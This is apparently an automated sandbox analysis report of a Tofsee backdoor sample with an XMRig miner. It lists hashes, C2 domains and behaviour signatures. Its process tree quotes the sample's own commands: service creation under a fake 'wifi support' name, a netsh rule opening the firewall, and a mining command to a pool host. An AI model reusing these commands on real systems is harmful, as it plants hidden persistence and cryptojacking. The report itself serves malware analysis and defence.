Analysis

  • max time kernel
    146s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20231020-en
  • resource tags

    arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
  • submitted
    19/11/2023, 22:26

General

  • Target

    f2b4ea5a8678e6b4ff70b238e34a208f4287f113ba6a65c12592a01cf9cf17c1.exe

  • Size

    265KB

  • MD5

    695c14c51ae9ff59157cf69f97b2d1cc

  • SHA1

    4688eea11efa5c61c7704b5ca80196eb9099e867

  • SHA256

    f2b4ea5a8678e6b4ff70b238e34a208f4287f113ba6a65c12592a01cf9cf17c1

  • SHA512

    e43e45420544f2fd736f2427443941f1da5b8d4a74d4c9d2e0a95c8306b2f10e12beaa6b0c2ec2715ecbd66b41431f404c942c32720a8b3ee2afa640657d4688

  • SSDEEP

    3072:d6LaowspCAE+mYgDxv5l7Iek5Ym7IQoiteVFWbVD22WsgAsR6c7ovb3TQh9:SaWCAF5Cf7Iem57InitGMxycQMrT

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f2b4ea5a8678e6b4ff70b238e34a208f4287f113ba6a65c12592a01cf9cf17c1.exe
    "C:\Users\Admin\AppData\Local\Temp\f2b4ea5a8678e6b4ff70b238e34a208f4287f113ba6a65c12592a01cf9cf17c1.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2508
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\xhmbtcpo\
      2⤵
        PID:3008
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\mykpmsrf.exe" C:\Windows\SysWOW64\xhmbtcpo\
        2⤵
          PID:2192
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create xhmbtcpo binPath= "C:\Windows\SysWOW64\xhmbtcpo\mykpmsrf.exe /d\"C:\Users\Admin\AppData\Local\Temp\f2b4ea5a8678e6b4ff70b238e34a208f4287f113ba6a65c12592a01cf9cf17c1.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2276
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description xhmbtcpo "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2076
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start xhmbtcpo
          2⤵
          • Launches sc.exe
          PID:2864
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2572
      • C:\Windows\SysWOW64\xhmbtcpo\mykpmsrf.exe
        C:\Windows\SysWOW64\xhmbtcpo\mykpmsrf.exe /d"C:\Users\Admin\AppData\Local\Temp\f2b4ea5a8678e6b4ff70b238e34a208f4287f113ba6a65c12592a01cf9cf17c1.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3024
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2868
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2844

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\mykpmsrf.exe

              Filesize

              13.8MB

              MD5

              b23c2a26921698005639664958291599

              SHA1

              ce2fec8a9b14f9482e98f6a704bc8467dff85b5d

              SHA256

              1abe151e33c36416ffdb5023aff044118a6d2f1d1ccfb02728aeffe858b7632d

              SHA512

              63d4a145f68dc6c59d1bc70120e0bb7cc70d3a4131807432002981e29df9d0911b551573660e6deef17de0dafadd98565949bad0776d5f303c02f75c0e5fb04c

            • C:\Windows\SysWOW64\xhmbtcpo\mykpmsrf.exe

              Filesize

              13.8MB

              MD5

              b23c2a26921698005639664958291599

              SHA1

              ce2fec8a9b14f9482e98f6a704bc8467dff85b5d

              SHA256

              1abe151e33c36416ffdb5023aff044118a6d2f1d1ccfb02728aeffe858b7632d

              SHA512

              63d4a145f68dc6c59d1bc70120e0bb7cc70d3a4131807432002981e29df9d0911b551573660e6deef17de0dafadd98565949bad0776d5f303c02f75c0e5fb04c

            • memory/2508-1-0x00000000002F0000-0x00000000003F0000-memory.dmp

              Filesize

              1024KB

            • memory/2508-2-0x00000000001B0000-0x00000000001C3000-memory.dmp

              Filesize

              76KB

            • memory/2508-3-0x0000000000400000-0x00000000004F6000-memory.dmp

              Filesize

              984KB

            • memory/2508-6-0x0000000000400000-0x00000000004F6000-memory.dmp

              Filesize

              984KB

            • memory/2508-8-0x00000000001B0000-0x00000000001C3000-memory.dmp

              Filesize

              76KB

            • memory/2844-77-0x00000000000C0000-0x00000000001B1000-memory.dmp

              Filesize

              964KB

            • memory/2844-78-0x00000000000C0000-0x00000000001B1000-memory.dmp

              Filesize

              964KB

            • memory/2844-76-0x00000000000C0000-0x00000000001B1000-memory.dmp

              Filesize

              964KB

            • memory/2844-74-0x00000000000C0000-0x00000000001B1000-memory.dmp

              Filesize

              964KB

            • memory/2844-75-0x00000000000C0000-0x00000000001B1000-memory.dmp

              Filesize

              964KB

            • memory/2844-73-0x00000000000C0000-0x00000000001B1000-memory.dmp

              Filesize

              964KB

            • memory/2844-69-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2844-65-0x00000000000C0000-0x00000000001B1000-memory.dmp

              Filesize

              964KB

            • memory/2844-63-0x00000000000C0000-0x00000000001B1000-memory.dmp

              Filesize

              964KB

            • memory/2868-38-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2868-47-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2868-30-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2868-34-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2868-33-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2868-35-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2868-36-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2868-37-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2868-26-0x0000000001890000-0x0000000001A9F000-memory.dmp

              Filesize

              2.1MB

            • memory/2868-39-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2868-40-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2868-41-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2868-42-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2868-43-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2868-45-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2868-44-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2868-46-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2868-27-0x0000000000180000-0x0000000000186000-memory.dmp

              Filesize

              24KB

            • memory/2868-48-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2868-49-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2868-50-0x00000000001E0000-0x00000000001E5000-memory.dmp

              Filesize

              20KB

            • memory/2868-53-0x00000000001E0000-0x00000000001E5000-memory.dmp

              Filesize

              20KB

            • memory/2868-54-0x00000000059D0000-0x0000000005DDB000-memory.dmp

              Filesize

              4.0MB

            • memory/2868-57-0x00000000059D0000-0x0000000005DDB000-memory.dmp

              Filesize

              4.0MB

            • memory/2868-58-0x00000000001F0000-0x00000000001F7000-memory.dmp

              Filesize

              28KB

            • memory/2868-62-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2868-23-0x0000000001890000-0x0000000001A9F000-memory.dmp

              Filesize

              2.1MB

            • memory/2868-21-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2868-20-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2868-11-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2868-13-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2868-15-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/3024-18-0x0000000000400000-0x00000000004F6000-memory.dmp

              Filesize

              984KB

            • memory/3024-12-0x0000000000400000-0x00000000004F6000-memory.dmp

              Filesize

              984KB

            • memory/3024-10-0x0000000000600000-0x0000000000700000-memory.dmp

              Filesize

              1024KB